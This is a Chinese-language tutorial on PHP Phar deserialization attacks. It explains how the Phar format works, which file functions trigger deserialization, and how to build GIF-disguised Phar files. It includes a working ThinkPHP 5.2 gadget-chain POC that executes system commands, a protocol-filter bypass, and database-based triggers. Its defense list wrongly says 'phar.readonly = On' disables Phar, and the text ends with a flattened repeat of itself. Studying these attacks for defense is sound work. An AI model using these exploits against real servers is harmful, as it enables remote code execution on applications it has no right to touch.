php反序列化拓展攻击详解--phar
字数 1163 2025-08-25 22:58:35

PHP反序列化拓展攻击详解——Phar协议利用

1. Phar协议基础

1.1 Phar协议概述

Phar(PHP Archive)是PHP的一种打包格式,可以将多个PHP文件、资源等打包成一个单独的文件。Phar归档文件的主要特点包括:

  • 将多个文件分组为一个文件
  • 无需解压即可直接从归档中运行PHP应用
  • 支持phar://伪协议访问

1.2 Phar文件结构

Phar文件由4部分组成:

  1. Stub:Phar文件标识

    <?php __HALT_COMPILER(); ?>
    
    • 必须以__HALT_COMPILER();?>结尾
    • 前面内容不限,可用于伪装文件类型
  2. Manifest:描述内容

    • 存储被压缩文件的权限、属性等信息
    • 以序列化形式存储用户自定义的meta-data(攻击核心)
  3. File Contents:被压缩文件的内容

  4. Signature(可选):用于验证Phar完整性的签名

2. Phar反序列化攻击原理

2.1 攻击原理

当文件系统函数(如file_get_contentsunlink等)的参数可控时,配合phar://伪协议,可以不依赖unserialize()函数直接进行反序列化操作。

2.2 攻击条件

  1. Phar文件能够上传到服务器
  2. 存在可用的魔术方法作为"跳板"
  3. 文件操作函数的参数可控,且phar等特殊字符未被过滤

2.3 可触发反序列化的文件操作函数

以下函数在通过phar://解析Phar文件时,会反序列化meta-data:

file_exists()、fopen()、file_get_contents()、file()、
fileatime()、filectime()、filemtime()、filesize()、
fileinode()、fileowner()、filegroup()、fileperms()、
is_dir()、is_executable()、is_file()、is_link()、
is_readable()、is_writable()、is_writeable()、
parse_ini_file()、unlink()、stat()、readfile()、
copy()、rename()、mkdir()、rmdir()

3. 攻击实现步骤

3.1 创建Phar文件

<?php
class TestObject {
    public $data = 'hello L1n!';
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置stub
$o = new TestObject();
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

3.2 触发反序列化

<?php
class TestObject {
    function __destruct() {
        echo $this->data;
    }
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename); 
?>

3.3 绕过协议限制

如果phar://不能出现在头几个字符,可以使用:

$filename = 'compress.zlib://phar://phar.phar/test.txt';
// 或
$filename = 'compress.bzip2://phar://phar.phar/test.txt';

4. 实际攻击案例

4.1 案例一:文件上传+反序列化

场景

  • 上传功能限制只能上传GIF图片
  • 存在文件操作函数和可用的魔术方法

利用步骤

  1. 创建伪装成GIF的Phar文件
  2. 上传文件
  3. 通过phar协议触发反序列化

POC

<?php
class AnyClass{
    var $output = 'phpinfo();';
}

$phar = new Phar('phar.phar');
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt','test');
$object = new AnyClass();
$phar->setMetadata($object);
$phar->stopBuffering();

4.2 案例二:ThinkPHP 5.2反序列化

利用链

think\process\pipes\Windows->__destruct()
think\process\pipes\Windows->removeFiles()
think\model\concern\Conversion->__toString()
think\model\concern\Conversion->toJson()
think\model\concern\Conversion->toArray()
think\model\concern\Attribute->getAttr()
think\model\concern\Attribute->getValue()

POC

<?php
namespace think\process\pipes {
    class Windows {
        private $files;
        public function __construct($files) {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion {}
    trait Attribute {
        private $data;
        private $withAttr = array('Smi1e' => 'system');
        public function get($system) {
            $this->data = array('Smi1e' => "$system");
        }
    }
}

namespace think {
    abstract class Model {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        public function __construct($system) {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("ls");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink('test.phar');
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $phar->setMetadata($payload);
    $phar->addFromString('test.txt', 'test');
    $phar->stopBuffering();
}

5. 数据库相关攻击

5.1 MySQL触发Phar反序列化

<?php
class TestObject {
    function __destruct() {
        echo $this->data;
    }
}

$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE users');

5.2 PostgreSQL触发Phar反序列化

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", 
    "127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

6. 防御措施

  1. 禁用Phar扩展(phar.readonly = On
  2. 严格过滤文件上传内容
  3. 对用户可控的文件操作参数进行严格检查
  4. 禁用不必要的伪协议
  5. 使用finfo_file()代替文件扩展名检查
  6. 对反序列化数据进行签名验证

7. 总结

Phar反序列化攻击是一种强大的攻击技术,它:

  • 不依赖unserialize()函数
  • 可通过多种文件操作函数触发
  • 可结合数据库操作进行利用
  • 可通过伪装文件类型绕过上传限制

理解这种攻击方式对于PHP应用的安全防护至关重要,开发者应特别注意文件操作和上传功能的安全性。

PHP反序列化拓展攻击详解——Phar协议利用 1. Phar协议基础 1.1 Phar协议概述 Phar(PHP Archive)是PHP的一种打包格式,可以将多个PHP文件、资源等打包成一个单独的文件。Phar归档文件的主要特点包括: 将多个文件分组为一个文件 无需解压即可直接从归档中运行PHP应用 支持phar://伪协议访问 1.2 Phar文件结构 Phar文件由4部分组成: Stub :Phar文件标识 必须以 __HALT_COMPILER();?> 结尾 前面内容不限,可用于伪装文件类型 Manifest :描述内容 存储被压缩文件的权限、属性等信息 以序列化形式存储用户自定义的meta-data(攻击核心) File Contents :被压缩文件的内容 Signature (可选):用于验证Phar完整性的签名 2. Phar反序列化攻击原理 2.1 攻击原理 当文件系统函数(如 file_get_contents 、 unlink 等)的参数可控时,配合 phar:// 伪协议,可以不依赖 unserialize() 函数直接进行反序列化操作。 2.2 攻击条件 Phar文件能够上传到服务器 存在可用的魔术方法作为"跳板" 文件操作函数的参数可控,且 phar 等特殊字符未被过滤 2.3 可触发反序列化的文件操作函数 以下函数在通过 phar:// 解析Phar文件时,会反序列化meta-data: 3. 攻击实现步骤 3.1 创建Phar文件 3.2 触发反序列化 3.3 绕过协议限制 如果 phar:// 不能出现在头几个字符,可以使用: 4. 实际攻击案例 4.1 案例一:文件上传+反序列化 场景 : 上传功能限制只能上传GIF图片 存在文件操作函数和可用的魔术方法 利用步骤 : 创建伪装成GIF的Phar文件 上传文件 通过phar协议触发反序列化 POC : 4.2 案例二:ThinkPHP 5.2反序列化 利用链 : POC : 5. 数据库相关攻击 5.1 MySQL触发Phar反序列化 5.2 PostgreSQL触发Phar反序列化 6. 防御措施 禁用Phar扩展( phar.readonly = On ) 严格过滤文件上传内容 对用户可控的文件操作参数进行严格检查 禁用不必要的伪协议 使用 finfo_file() 代替文件扩展名检查 对反序列化数据进行签名验证 7. 总结 Phar反序列化攻击是一种强大的攻击技术,它: 不依赖 unserialize() 函数 可通过多种文件操作函数触发 可结合数据库操作进行利用 可通过伪装文件类型绕过上传限制 理解这种攻击方式对于PHP应用的安全防护至关重要,开发者应特别注意文件操作和上传功能的安全性。